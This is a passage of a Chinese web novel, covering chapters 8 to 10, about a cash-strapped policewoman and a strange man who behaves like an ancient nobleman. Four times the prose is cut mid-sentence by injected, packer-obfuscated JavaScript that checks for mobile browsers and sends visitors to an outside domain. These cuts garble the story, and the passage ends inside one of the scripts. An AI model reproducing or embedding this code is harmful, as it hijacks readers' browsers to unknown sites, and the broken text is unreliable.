得了他的承诺,君令仪更放心了些,找到房号开门进去。 开了灯和空调,她走到落地窗前拉开了窗帘,招呼另一个人:“容成叙,过来看。” 容成叙好奇地走过来站到她身旁,朝窗外望去。 “看那。”君令仪伸手指指对面一座金碧辉煌、富丽堂皇的高楼道,“你想住的悦来楼就在对面,虽然姐没钱让你住上,但看看也算解了渴了。只看不要钱,你坐这尽管看。”她说着,还好心地给他把椅子挪到窗边来。 容成叙看了眼窗对面的宏伟建筑,心思却不在上面,而是很快转过头来看向君令仪,朗朗一笑道:“君小姐真是个心口不一的妙人儿。” 他这话半是调侃半是赞美,君令仪不作他想,权当他是赞美自己了,心情终于轻松了些。 她回身走到靠门那边的单人床,插上手机充电,严正道:“我睡这边,你睡靠窗那的床,从这里开始——”她在两床中间虚空地划了条分界线,“这是三八线。警告你哦,过此线者斩立决!” 容成叙笑了笑,道:“我承诺过不会冒犯君小姐的,决不食言。然而——”他促狭地一笑,“你与我留宿在外,共处一室,对君小姐的名声有损,君小姐不在意吗?” 君令仪摆摆手:“名声值几个钱,饭都快吃不起了,谁还在乎那什么名声不名声的。你给我安分待着,只要我们是清白的,管别人怎么说。再说了,这里哪有人认识我们,谁又知道我们来过呢。” 容成叙好记性地提醒道:“千里眼见到了。” 君令仪只好圆上自己的话:“没事,千里眼很健忘,过几天就忘记了。”她打了个大大的哈欠,“不聊了,这都几点了,赶紧洗洗睡吧。” 火灾逃生之后又遇戏精偷袭,大夏天的搞得浑身脏兮兮黏糊糊的,君令仪拿了酒店的浴袍就进了卫生间洗澡去。 两人先后简单冲了个澡,躺在各自的床上,没过一会就都睡着了。 朦朦胧胧中,君令仪感觉自己仿若置身于一处阴暗诡异、废弃破旧的瓦房里,前面有一个被拷着的低头跪着的披头散发的男人,他的衣领后插着一个斩标,一旁的刽子手扛着把大砍刀,正准备行刑,那亮如白昼的刀光晃得她心里哇凉哇凉的。 是什么人犯了什么罪,要被秘密处斩? 看那身形有点熟悉啊! 君令仪没来由地一阵紧张,踌躇着走上前去辨认。 那个跪着的男人身穿一件灰扑扑的囚衣,腰间似乎系有一块圆形物件。 仿佛觉察出空间中多了个无关人员,那男人蓦地转头看了过来,长发滑至一侧,露出了半边俊逸非凡的脸。他定定地看着她,那眼神似有千言万语,却欲说还休,最终不得已地重重叹了口气,轻声道:“对不起!” 是容成叙! 他要被斩首了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323384|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?! 正思量着,一个画外音猝然响起:“时辰到,行刑!” 那刽子手朝自己的双手吐了口唾沫,拿起容成叙脖子上的斩标扔到地上,高举大砍刀,低喝一声,砍刀应声而落。 “不要啊!”君令仪惊恐地大叫一声。 可没有人听到她的叫喊声,行刑也没有因此而中断。 刽子手迅猛而落的刀风掀起了瓦房内的草梗和灰尘,漫天翻飞的尘絮迷了人的眼眸。 君令仪的双眼被刺得生疼,根本睁不开来,她哭喊着:“不要杀他!不要杀他!不要杀他!” “君小姐,君小姐!醒醒!任君,醒醒啊!任君!” 耳边忽然听到一个异常沙哑的声音在焦急地叫唤,君令仪蓦地惊醒过来。她捂住生疼的心口,瞪圆了双眼,一瞬不瞬地瞅着面前的人,待看清了他的脸庞后,大大的吁了口气:“原来你没死啊!” 容成叙也松了口气,笑道:“没死成,改判流放了。” “流放总好过砍头,留得青山在,不愁没柴烧。”君令仪心有余悸地道,陡然意识到什么似的眨了眨眼,打量了下他的装扮和周遭的环境,脑瓜子“叮当”一声恢复了正常。 她一个鲤鱼打挺,坐了起来,横眉竖眼道:“容成叙!三八线!楚河汉界!我说的话你喂狗了!” 容成叙立刻弹到一米开外自己的床上去,磕磕绊绊地道:“本侯……我……我没碰你,我是听见你在叫喊,以为你出事了才过去看你,哪知你是梦魇。” 君令仪这才稍稍放松下来,后知后觉脸上湿漉漉的一片,她摸了下脸,满手都是泪! 我的乖乖,这神经病死不死跟她有什么关系,认识还不到一天,虽然只是做梦,但怎么会为他的死而感到伤心欲绝?她何时爱心爆棚了? 啊呸!自己连住的地方都没,还为别人死不死的发愁,真是闲得蛋疼! 君令仪郁闷地在床头柜上抽了几张纸巾擦干了泪水,瞧了眼还坐在那边床上看着她的男人,情绪不满道:“看什么看,睡觉!”她说完,“啪”的一声把灯关掉,钻进了被窝里。 第二天一早,君令仪枕头下的手机闹钟哼着歌欢快地响了起来:“你太美,尽管再无言,我都想用石碓隔绝世界,我的王妃,我要霸占你的美……” 可闹钟还没把她叫醒,一曲未完就被一只大手掌以迅雷不及掩耳之势“咔”地一下子拍停了,紧随而来的是一个沙哑而得意的嗓音:“妖物,觊觎将军嫡女,找死!” 君令仪哪是被闹钟闹醒,是被他这一动静弄醒的。她睁着惺忪的双眼坐起来,不明所以道:“你干嘛?什么妖物,你撞邪了?” 容成叙一本正经道:“岭南乃瘴气聚集之地,妖物横行,君小姐莫要大意了。” 啥?妖物横行?我看你才是最大的妖物!神经兮兮的。 君令仪没好气地横他一眼,起床洗漱去,再换回昨晚的睡裙。 容成叙有模学样,很快就整洁干净地跟着她到酒店前台退了房。 君令仪带着他坐车辗转到了一片破旧的居民楼,熟门熟路地摸进小巷子里,最后站定在一户人家的门口,敲了敲门,喊道:“四婶!是我,起来没?” 片刻之后,屋里传来“哒哒哒”的脚步声,伴着一名中年妇女爽朗的应道:“来啦来啦!” 8. 何种关系 掉漆的木门吱呀一声从里往外打开来,一张笑意盈盈的脸立刻呈现在眼前:“哎呀!小君,什么风把你吹来了?” 正是君令仪爷爷那辈同村的邻居婶婶,两家在几年前就都来了翰州谋差,同乡人在异地讨生活,便多有照应。 君令仪笑道:“四婶,就猜你没那么早出摊呢,我过来挑几件衣服,家里没衣服穿了。” “那敢情好!”生意自动送上门来,四婶笑得合不拢嘴,一侧身把她让进屋里,瞥见她后面跟了个穿着病服的年轻男人,疑惑地问:“这是谁呀?小君,你谈朋友了?” 君令仪闻言刹住了脚步,连忙回头摆摆手解释道:“不是不是不是,刚认识的一个普通朋友而已。” 四婶凑近她,压低声音八卦地问道:“他生病了吗?从医院逃出来的?” 君令仪瞅了瞅容成叙,背过身去低声道:“嗯,脑子有毛病,治不好了。” 四婶惋惜地一叹:“哎哟!可惜了,眼是眼鼻子是鼻子,长得这么英俊,竟然是个傻子!” 君令仪干笑两声:“呵呵!也不至于是傻子,就是有点认知障碍。不过不碍事,他不会伤害别人。” 四婶点点头,庆幸地道:“好在你没看上他。男人嘛,长得好看没用,得要脑子活络会来钱,没钱屁用没有。你瞧我那男人,这会儿还没起床,又懒吃得又多,养只猪好过养他!” 君令仪笑眯眯道:“我听我爷爷提过,四叔当年也是我们村耕田的一把好手呢,哪有四婶说的那样。” 四婶摆摆手:“不提他了,提了就来气。你不是挑衣服吗?来,这两大袋都是,你慢慢挑,挑到合适的四婶给你优惠。”她一边招呼着一边解开放在厅堂角落里的两个塑料袋子摊开来。 君令仪随心所欲地挑拣了两套外衣和内衣裤。 四婶见她挑的都是最便宜的货,而且穿的是睡裙和拖鞋来买衣服,估摸她近来手头紧,便好心地送了一双自己穿旧不要的布鞋给她。 君令仪一点都没嫌弃,也不觉得羞愧,道了谢付了钱换上新衣裳和旧布鞋,转头却见容成叙眼眶发红,默默地抿紧了唇,她奇道:“怎么了你?谁惹你了?” 容成叙本来就沙哑的嗓音更显暗哑:“君小姐生于钟鸣鼎食之家,打小锦衣玉食,何时受过着他人鞋履如此糟粕之气。” 君令仪眨了眨眼,瞅见四婶看他一脸嫌弃的样子,又是好笑又是无奈,只好冲四婶勉强一笑道:“哈哈!四婶,别听他瞎说,这鞋子不知有多好,你看我,走起路来带风。”她说着,来回踱了几步,又用力踩了踩地,表示自己是真的觉得好。 四婶这才又笑眯眯地在她耳边低声道:“这男人果然脑子有病,听婶的,别跟他好,你要是跟他好了,就是拖着个大油瓶,以后可有你受的。欸!他瞪我干嘛,我哪句说错了嘛!” 君令仪忙朝容成叙抛去一个警告的眼刀,又回头笑道:“四婶,你还不知道我么,我——君??钱奴??令仪,看钱下饭,没钱?恋爱免谈,又怎么会看上他这样的呢。” 容成叙面色一僵,悻悻地撇了撇嘴转过身去,好像不看她们就听不到她们的讲话似的,独自顾影自怜地站到一边去。 君令仪瞟了眼他落寞的背影,一时心软,问道:“四婶,附近有卖男装的吗?” 四婶道:“有啊,旁边秋姐家卖的就是男装,不过——”她忽然叹息一声,“造孽呀!她家儿子昨晚被车撞了没救回来,年纪轻轻的就走了,剩下她一个寡母,真是可怜啊!唉!” 君令仪一愣,一种不祥的预感突然袭来,她皱了皱眉,试探道:“秋姐的儿子多大了?” “听说上大二了,还是名牌大学,唉!真是可惜了!”四婶唏嘘道。 事故缘由一致,年龄也对上了,这个秋姐的儿子极有可能是昨晚公交车站车祸去世的死者。 君令仪抱歉道:“四婶,你能帮忙带下路过去秋姐那吗?我这位朋友需要买两套换洗衣服。你知道的,这么早,大家都还没出摊呢。” 四婶点点头道:“也好,刚好有个由头过去看一下秋姐,我怕她想不开呀。” 君令仪和容成叙跟着四婶,一直走到巷子尽头的一间平房门口。 老旧的房屋隔音堪忧,隔着薄薄的木门便能听到屋内女人的抽泣声。这抽泣声不大,无力而粗哑,似乎里面的人已经恸哭了许久。 四婶又叹了口气,抬手敲了敲门,喊道:“秋姐!是我呀,我同村的侄女想买两件男装,你开开门给她看看呗。” 屋里的抽泣声渐渐停了下来,片刻后,木门缓缓开了,一位脸色蜡黄暗淡、双眼红肿无光、膝盖微颤、步履蹒跚的妇人站在了他们面前。此人便是秋姐。 “是你呀,四妹子。”秋姐干裂的嘴唇张了张,嗓音是哭泣过度的沙哑。 四婶眼眶微红,安慰道:“节哀顺变啊秋姐,你自己还是要过活的嘛。” 秋姐气若游丝地点了点头,没有回她。 君令仪道:“秋姐你好!方便进屋挑两件衣服吗?我们急着穿呢。” 秋姐看了看她和容成叙,歉意地道:“我家准备办丧事,你们不嫌弃的话,可以进来挑。” 君令仪道:“不介意,我们没这个讲究。” 秋姐露出一个苍白浅淡的笑容,将三人迎进了门。 屋内客厅陈设简陋,只有一张餐桌,几把椅子,和一台老式电视机。但这么拮据的境况下,餐桌上却摆着一个送礼用的水果篮,篮里的水果都是进口高档品。水果篮的旁边还放有一个相框和一个牛皮信封。 君令仪疑惑地走近去看,相框里的男孩青春洋溢,笑容灿烂,这应该就是秋姐的儿子了。 不出所料,他果然是昨夜车祸而亡的大学生。 “小妹,男装在这,来看吧。”客厅的一角,秋姐摊开大麻袋招呼道。 君令仪过去给容成叙随意挑拣了两套换洗外衣,目测他的胯宽和臀围,又捡了两条内裤。 容成叙被她肆无忌惮的目光打量得又微微红了脸,拒绝道:“这亵裤太小了,我不穿。” 君令仪刀了他一眼:“哪里小,这已经是这里码数最大的了,再大都买不着了。再说了,我看你也没多大,就将就着穿吧。” 容成叙白皙的脸涨得通红,结结巴巴地解释道:“我……我表达的含义是……亵裤……裤子太短了,不是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323385|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …小。" 君令仪把挑好的衣物一收,毋庸置喙道:“就买这些,爱穿不穿。” 她瞥见旁边还有男鞋卖,便又拿了双耐脏的帆布鞋给他试穿,合心意后,才一起付款。秋姐拿出简易计算器,一边给他们算一边道:“你们一次买这么多,我给你们优惠点。” 君令仪连忙道:“不用了秋姐,你就按原价卖,穿得好我们下次还来。” 比起自己只是偶有失意,没赚几个钱,秋姐是刚痛失儿子,孤家寡母一个,以后的日子更难上加难啊。 秋姐却摇摇头,浅笑道:“你是四妹子的侄女,就是自家人,得给优惠。婶婶虽然手头不宽裕,但是——”她说着眼眶又湿润了起来,哽咽道,“强仔走了,那个撞人的给了我一些钱,我一个人没什么花销,够用几年了。” 看来餐桌上的牛皮信封装的就是封口费了。 君令仪问道:“那人是让你写谅解书吗?” 秋姐点了点头,似不想再提,低下头默默地给她计算总价和打包衣物。 君令仪付了款道了谢,便不多作逗留。 三人辞别秋姐,该出摊的出摊,该上班的上班。 君令仪则把容成叙带回了警局,她换好了制服,再送他到一楼的接警中心。 她昨晚已盘算好了,这神经病看着一时半会好不了了,他欠她的几千块钱检查费,还是得问他家里人要才靠谱。再说了,他的行为举止看着就像是跳楼摔坏了脑袋的,可能需要长期治疗,这笔费用她可负担不起,和他只是萍水相逢,当然也没有责任和义务负担。 所以,他的问题要解决,当务之急是找到他的家里人。 君令仪给他按失踪人口报了案,完了后将他推给接案的民警,交代对方道:“他有点认知障碍,不知是昨晚摔过头导致的还是本来就有这病,麻烦你们多担待了!” 都在同一个警局工作,抬头不见低头见,民警认得她,笑道:“你放心好啦!我们按程序登记好,下午就送他到救助站安置。你要是担心,可以一起去。” 君令仪忙摆摆手:“不了不了,你们做事我放200个心,我等会还要出勤呢,哪有空。麻烦你们了,回见!” 她说着就准备开溜,谁知还没转身,手却忽然被一把拉住了。她回头一看,拉她的是容成叙,他抿紧了唇,眼眶发红地瞪着她。 君令仪眨了眨眼,意识到自己还没和他告别,而且他可能已经赖上自己了,便好言相劝道:“我说爷,小女子我能力有限,养不起您,您好好跟这位哥哥走,他会给您新生活,啊。” 容成叙一本正经地口出狂言:“我不用你养,我做营生养你。” 君令仪一愣,看着他那真诚恳切的漆黑双眸,竟一时失了神。 “笃笃笃”几下桌子敲击声蓦地把她唤醒了,只听那名民警说道:“可能是这帅哥和你处出感情了,要不你多留他几日,说不定寻人公告发出去没多久他家里人就上门来领回去呢。” 容成叙听了,似乎又燃起了希望,殷切地望着她,宛如一只乖巧敦厚等待主人领走的长毛小狗。 嘶——好一招攻心计!虾仁猪心,不带这样的啊喂! 9. 留或不留 君令仪润物细无声地悄悄掰开他拉住自己的手,但他比她想象的更警觉,竟一下子反手抓住了她,力度比刚刚更甚! 完犊子了!他不会就此赖上她了吧!这尊大佛她可消受不起啊! 正当两人胶着之时,君令仪一眼瞥见组长谢钦和朱壮从楼梯下来穿过旁边的走廊,她忙叫住了他们:“钦哥!壮哥!” 谢钦转头看到了她,数落道:“小君?刚怎么没见你?还以为你忘了今天的排班是要出外执勤?好在阿壮今天早到了,不然我就得一个人巡逻了。” 君令仪趁机用力一把甩开容成叙,屁颠屁颠地跑了过去,笑嘻嘻道:“没忘没忘,我不来了么!我是遇到点麻烦事,一会就好,你等等我。” 谢钦没好气地道:“快快快!给你两分钟!” 一旁的朱壮开心地翘起了兰花指,捏着嗓子问道:“钦哥,那我是不是不用去了?” 谢钦有点辣眼睛地瞅了他一眼,做了个退下的手势:“去去去,回去吧你。” 君令仪却灵机一动,把转身要走的朱壮喊住:“壮哥!” “干嘛?”朱壮不耐烦地回她。 君令仪瞄了眼还在接待前台站着看向这边的容成叙,笑眯眯地提议道:“壮哥,要不今天你和我一起执勤?重的活我干,轻的你干?” 朱壮眯起了眼,狐疑道:“你君令仪怎么会做掉馅饼的事?有什么猫腻?快说!” 君令仪陪着笑脸道:“我君某人向来行得正坐得直,哪有什么猫腻,只是今天特别想和壮哥一起出勤,特别有安全感!” 朱壮依旧不信她,围着她打量了一圈:“咋感觉你偷感这么重呢?一定有什么不可告人的秘密!” 他像忽然接收到神秘信号,那双眯眯眼侦察机似的往大厅里巡逻,只消片刻就锁定了目标,尖着嗓子惊叫道:“哎呀妈呀!那是谁呀?那个大帅哥!妈呀!他是不是在看我?是不是啊君君?啊你的话信不得。钦哥钦哥,那帅哥是不是在看我?”他激动得差点抓住谢钦摇晃。 幸好谢钦早有防备,后退了一大步,无语地横了他一眼,他才按耐住不敢造次。 谢钦严肃道:“你俩闹够了没!走还是不走,赶紧的!” 君令仪忙道:“走走走,马上走。钦哥你先回哈,我和壮哥一起去!” 谢钦对君令仪做事是放心的,叮嘱了一句:“记得按时到岗,不要迟到!” 君令仪举起手做了个“OK”的手势,谢钦才慢悠悠地背着手踱回楼上去。 朱壮一脸生无可恋样,恨恨地瞪了君令仪一眼:“都怨你,谁要和你一起出勤呢!” 君令仪哄着他:“壮哥……朱大姐,不,壮小妹,你最好啦,我最喜欢和你一起出勤了。” 朱壮这才脸色好转,剜了她一眼:“你这女人72变,跟只狐狸一样狡猾。” “是是是,我最善变。”她过去旁若无人地挽住了他的手臂,“走吧姐。” 朱壮愣了愣,他和君令仪向来不对付,他的人生信条是摸鱼快乐,可她偏要做出一副卯着劲干的样子,显得他多偷懒似的。这会却又突然跟他亲昵,这狡猾的女人,都不知心里在打什么如意算盘呢。 两人没走几步,猝不及防地一个高大挺拔的身影挡住了他们的去路。 朱壮抬头一看,喜上眉梢,但立刻又羞赧地移开了目光,不敢与对方对视。 容成叙冷冷地扫了他一眼,旋即将目光定在了君令仪的脸上,幽幽地问:“这便是你收回信物的缘由?” 信物?那个环状玉佩?对哦,他还以为是和任君的定亲信物,也一直认为她就是任君。这倒是个撇开他的不错的切入口。 君令仪眨了眨眼,微微一笑道:“是呀,不然谁还要一块断了的玉佩。” 容成叙闻言蹙紧了眉,双眸一冷,道:“好。”他说完,一侧身,让开了路。 目标达成,君令仪忙不迭拉了依依不舍的朱壮走人。 她虽然后背没长眼睛,但仍能感受到身后那神经病像刀一样锋利而冷冽的视线恨不得穿透她的身体,把她钉在地上不能动弹…… 嘶——这阴森的感觉真不好! 他此刻应该把她当成是任君,觉得她背叛了他吧。可他不是退了人家任君的婚吗?还把自己当成人任小姐的未婚夫,不想人另觅良缘呢。呲!脸皮可真厚!渣男! 君令仪越想越气,回头远远地朝容成叙送去一个鄙夷的眼神,后者则眼眸一暗,整张脸都彻底黑了下来。 君令仪这才身心舒畅地走自己的路。 朱壮边走边在她耳畔悄咪咪八卦地问:“他到底谁啊?什么信物,什么玉佩?你什么时候认识这么个大帅哥,快从实招来!” 君令仪卖着关子:“这说来话长……” “那你长话短说!兜啥圈子。” “那壮哥,等会重的活我俩也一起干?” 朱壮睨她一眼,嫌弃道:“行行行,就知道你没安好心,快说!” 君令仪嘻嘻一笑道:“这个故事呢,要从昨晚开始,他脑子有病,跳楼被我捡到,我好心收留了一晚,完了。” 朱壮一瞪眼:“就这?那信物和玉佩呢?” 君令仪敷衍道:“我不说了嘛,他脑子有病,乱讲的。” “呵呵!”朱壮不信她,又问,“那他姓甚名谁,家住何处?你有没有他的手机号码?趁他还有病,我要先下手为强,哈哈!” 君令仪干笑两声:“不好意思啊,他是古董,连手机都没有。不过我说壮小妹,虽然人家脑子有病,但你也不能去祸害人家啊,积点德吧拜托了您嘞!” 朱壮撇了撇嘴,不乐意道:“你不懂,跟你说不明白。反正下午回来我找接警中心打听打听就知道了。” 两人在外面忙碌了一天,直到太阳落山了,才又回到警局来打卡准备下班。 君令仪一身臭汗,恨不得立刻找个地儿冲个澡,躲进空调房里舒坦舒坦。她经过接待大厅,想起了那神经病,不由得朝接警中心望去。 那边哪还有那个穿着三院病服、扎着丸子头的身影,只有空荡荡的空气回应她的驻足回眸。 想啥呢,他必定是好好被安置到救助站,等着家里人领回去呢。她自己今晚都不知留宿何处,哪还有心思去担心他。 君令仪迅速换下了制服,拿了今早带来的袋子就打卡下班了,她得赶紧重新去找房子租。 霉运似乎随着那神经病的离开而远离了,她幸运地在警局附近的城中村租到一栋村屋一楼的一个单间。一押一付之后,她就剩下不足五百块,这么点钱要支撑大半个月,省着点花还是够的。 房东太太可怜她孤身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323386|183194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人,连行李都没有,好心地给了她一床薄被子和一把旧风扇。 环境虽然简陋,但总算有个落脚处,君令仪洗漱好,很快就舒心地躺下了。 可不知为什么,没过多久,她迷迷糊糊地感觉自己又起来了,开了门走了出去,从小巷子走到街角,又往远处走去,一直走,似乎想去某个地方,但脚步却又是漫无目的的。 漆黑的夜里,无月无星,迷雾骤起,前方仿佛无尽深渊。 君令仪走进了迷雾中,片刻后,眼前竟出现了一座望不到尽头的青黑色的古老城墙,那是某个封建朝代的城门楼,有四个身披盔甲的士兵在城门两侧守着,但她却如入无人之地,径自推开厚重斑驳的城门,走了进去。 她从城门旁的石阶一路拾级而上,站到了城门楼中央的齿墙边上,仿佛触景生情,双肩竟开始无法抑制地微微抽动,间或漏出一两声细碎而压抑的啜泣。 她的手里还紧紧地揣着一个什么物件,墨绿色的流苏随着她的动作左右晃动。 她默默地低声抽泣了良久,似乎终于下定了决心,张开手掌看了看那物件,貌似在跟它告别,轻声道:“既如此,何必再相见。来世愿你安好,山水不相逢,莫道长和短。” 迷雾散开来,终于能看清她手里那物件,原来是块浑圆润泽的白玉佩,约莫两寸有余,雕工精湛,却看不清楚图样。 她攥紧了玉佩,望了望远处的层峦叠嶂,不再犹豫,一脚踩上齿墙。 等等!这台词,这场景,这情形,这迷雾重重的戏剧效果,她不会是要跳楼吧?! 君令仪大惊,拼命叫嚷道:“你傻啊!没钱也不用死啊!多少底层劳动人民挣扎在温饱的死亡线上,你没病没痛有工作有收入却要找死,你神经病啊!” 但齿墙上的人根本听不到自己心里的另一个声音,单薄的身形在凉薄如水的夜风里,宛如一片即将要离枝而去的树叶般摇曳不定,随时都有可能倒下。 君令仪急得像热锅上的蚂蚁,却控制不了自己的身体。 她又尝试大叫道:“君令仪!你不会被容成叙那个神经病传染了吧,他跳楼你也跳楼?你脑子有病吧!你们老君家还没有后呢,那传家之宝要后继无人了,你对得起你爷你爸吗?!” 她这话似乎起了效,她终于可以掌控自己的躯体,立刻从齿墙上跳了下来,劫后余生地拍了拍起伏激荡的胸脯。 奶奶的,撞邪了!差点没命了!昨晚容成叙不会也被鬼上身了才跳的楼吧?! 正当君令仪暗自庆幸之时,一抹身穿大红色汉服,梳着发髻的身影霍然自她身后蹿了出来,未待她反应过来,已纵身一跃,跳下了城墙! “嘭——”人体落地的沉闷声敲碎了寂静诡异的黑夜。 这一声之后,夜更深更静了,一切仿佛无边无际的寂寥深渊。 啊这!是哪个想不开的可怜虫…… 君令仪心惊胆跳、小心翼翼地靠近齿墙往下看。 残月终于从云层中露了出来,黑夜终于有了一丝微光。 透过逐渐散去的轻薄迷雾,君令仪睁大了双眼,看清了那人的模样,以及她头颅下一大摊缓缓晕开的鲜血。 妈呀!那人长得跟自己不能说一模一样,简直是别无二致! 她手里依然紧紧攥着那块墨绿色流苏的白玉佩! 10. 茶里茶气 君令仪大惊失色,脑袋顿时宕了机。 所以,她还是没有劝住自己,跳楼死了吗?! “不要啊!我想活!”她极度惊悚地喊叫起来。 “哐当!”一声巨响,伴随着腰背一阵钝痛,君令仪在黑暗中惊觉脑壳像被劈开一样剧痛无比!心口也像被刀割一样疼! 完了完了完了,她真被鬼附身被逼跳楼了!!! 不过,不幸中的万幸,她好像没死成,还能动。 君令仪尝试着扶着身旁的墙壁爬了起来。 等等,不对,这墙壁的触感光滑温热,不像冰凉粗糙的青石砖!而且,哪有夜深如水,哪有寂静无声,空气分明燥热得厉害,耳边“吱呀吱呀”响起的是旧风扇转动不畅的无奈声音。 啊!她还在刚租的城中村的单间里呢。她急忙摸了摸自己的后脑、背部。干燥热乎,完整无缺,没有血迹,没有伤口。 她根本没去什么城门楼。她是做梦了! “呼——”君令仪长吁了一口气,一放松,才发现腰和手臂确实有点疼,原来她刚才做梦时,惊慌中从床上掉了下来。 对比跳楼而亡,就这点小伤小痛,君令仪根本不放在心上,她粗线条地爬上了床继续睡大觉。 昨晚睡得少,今天起得早,白天还出勤了一天,她一点都不想为莫名其妙的事消耗心神,更何况只是一个影视剧里长镜头一样的梦而已。 管他呢,早睡早起,明天还要上班。活着就好! 就这样,君令仪像往常一样哼哧哼哧地上班,又没心没肺地回到出租屋准备下一年的民警招录考试。 那被容成叙跳楼砸坏的小电驴,重要零部件还好好的,她从事故停车场领了回来,没钱修继续先这么开着。路人侧目而视,她权当人家是行注目礼。 没过几天,朱壮朱大姐终于看不下去了。 这天下班,他又在警局大院里看到那辆形象碍眼的浅黄色的小电驴了,不得不好言相劝它的主人,道:“我说君姐,宝宝,你行行好叭,就算不去补漆,也至少给人小黄驴把眼睛装回去吧,瞎了一只眼看着怪可怜的。” 君令仪剜了他一眼:“要你管!要有钱我能不修它,还有两个星期才发工资,我修了它我自己只能吃土了。你可怜它谁可怜我啊!要不你管我吃饭?” 朱壮掩嘴惊叫:“你没病吧!你在变相让我养你!你该不会是对我有意思吧?千万别,我可消受不起。” 君令仪干笑两声,过去把他挤开来,道:“呵呵!是是是,对你有意思,有恨不得给你两巴掌的那意思。好狗不挡道,别挡我下班哦。” “你才狗!汪汪狗!”朱壮牙痒痒地回她一句,但很快就被一辆驶入大院里的警车吸引住了目光。准确地说,应该是被警车下来的一拨人勾走了魂。 君令仪见他还不走,随着他的视线也好奇地望过去。 这一望不得了!一双漆黑明亮的双眸定定地注视着她! 嗯?这还没几天,他怎么回来了? 等等,他怎么是一身破烂装扮?虽然穿的都是上次给他买的衣服,但T恤竟被划破了两个大口子,还染着血迹!帆布鞋也坏了一只!脸上更是惨不忍睹,青一块红一块,还有一处擦伤,丸子头也松松垮垮的,几撮黝亮的长发散落下来,有种江湖侠客对决过大招的意味。 “我天!这战损气场比之前病服装的病态美更撩人呀!”朱壮心驰神往道。 “撩人个屁啊!”君令仪怼他,有点担心地跑过去。 朱壮也八卦地跟了过去。 君令仪站定在那战损装的男人的面前,问道:“你发生了什么?搞成这副鬼样!” 容成叙好心情地一笑道:“哪有我如此美貌的鬼。” 君令仪丝毫没有因为他的玩笑话而逗乐,反而严肃道:“我问你干什么了!” 容成叙一愣,正要回答她,旁边的一个民警插话道:“美女,我看你有点眼熟,你是防控队老谢的手下吧,你是这帅哥的什么人?” 君令仪道:“我是他朋友。” 民警这才好心道:“这帅哥协助我们捣毁了一个人体器官非法移植的窝点,立大功了,虽然是受了点伤,但没大碍,你就别怪他了。再说了,他自己也是受害者呢,差点就被人割了腰子,等会录完口供,你和他回去好好压压惊哈。” 寥寥几句,就已听出惊险万分,君令仪惊讶地看了看容成叙,再回头对民警说:“谢谢你们把他完好无缺地带回来了,不然我还真挺愧疚的。” 民警摆摆手,朝他们颔首后,跟着前面押着嫌疑人的一拨人进了楼里。 君令仪上下打量了眼面前的人,确认他的确没什么致命的损伤,放心地道:“既然你没事,那就再见了!”她说着,转身打算走了。 谁知她刚一转身,后面就传来了一声:“哎呦!好痛!” 君令仪狐疑地回身,看到的是容成叙捂住肚子,愁眉苦脸的模样。 朱壮掩嘴在她耳旁轻声道:“装的,你别信他,我最懂了这种把戏了。” 容成叙显然听到了,冷冷地白了他一眼,似乎在怪他多管闲事。 朱壮赶紧闭了嘴,不敢再说一句不是。 君令仪当然也看穿了他笨拙的演技,没好气地问:“哪里痛了,把衣服撩起来,我看看?” 容成叙一听,脸都绿了,咬牙切齿道:“大庭广众之下,袒露肚皮成何体统!君小姐为何来了岭南竟变得如此——不知廉耻!是结识了放浪之人之故?”他说着,锐利地给了朱壮一个眼刀。 朱壮被冤枉了,张了张口却不敢反驳他。 君令仪才不纵容他,理直气壮道:“是你自己说痛的,我好心帮你检查,你倒好,一言不合就说我不知廉耻。既然这样,那我走了。” 容成叙连忙挡住了她的去路,可怜兮兮道:“我无处可去,你留下我吧。他不养你,我能养你。”他从牛仔裤的口袋里献宝似的掏出一条大金链子和一块名牌机械手表呈到她面前来。 这都是贵重物品,他该不会偷的吧?! “这哪来的?”君令仪严肃地问。 “那犯人给的,求我饶他一命。”容成叙实诚道。 朱壮好奇地拿起金链子放在嘴里咬了咬,点了点头,放下后又拿了那块手表,仔细看了看道:“这表仿得真好,可惜了,假货,如假包换。” 容成叙又不满地刀了他一眼,将大金链子塞到君令仪手里,真诚地道:“真金子。” 君令仪皱了皱眉,他怎么好像还是没有基本的法律概念呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 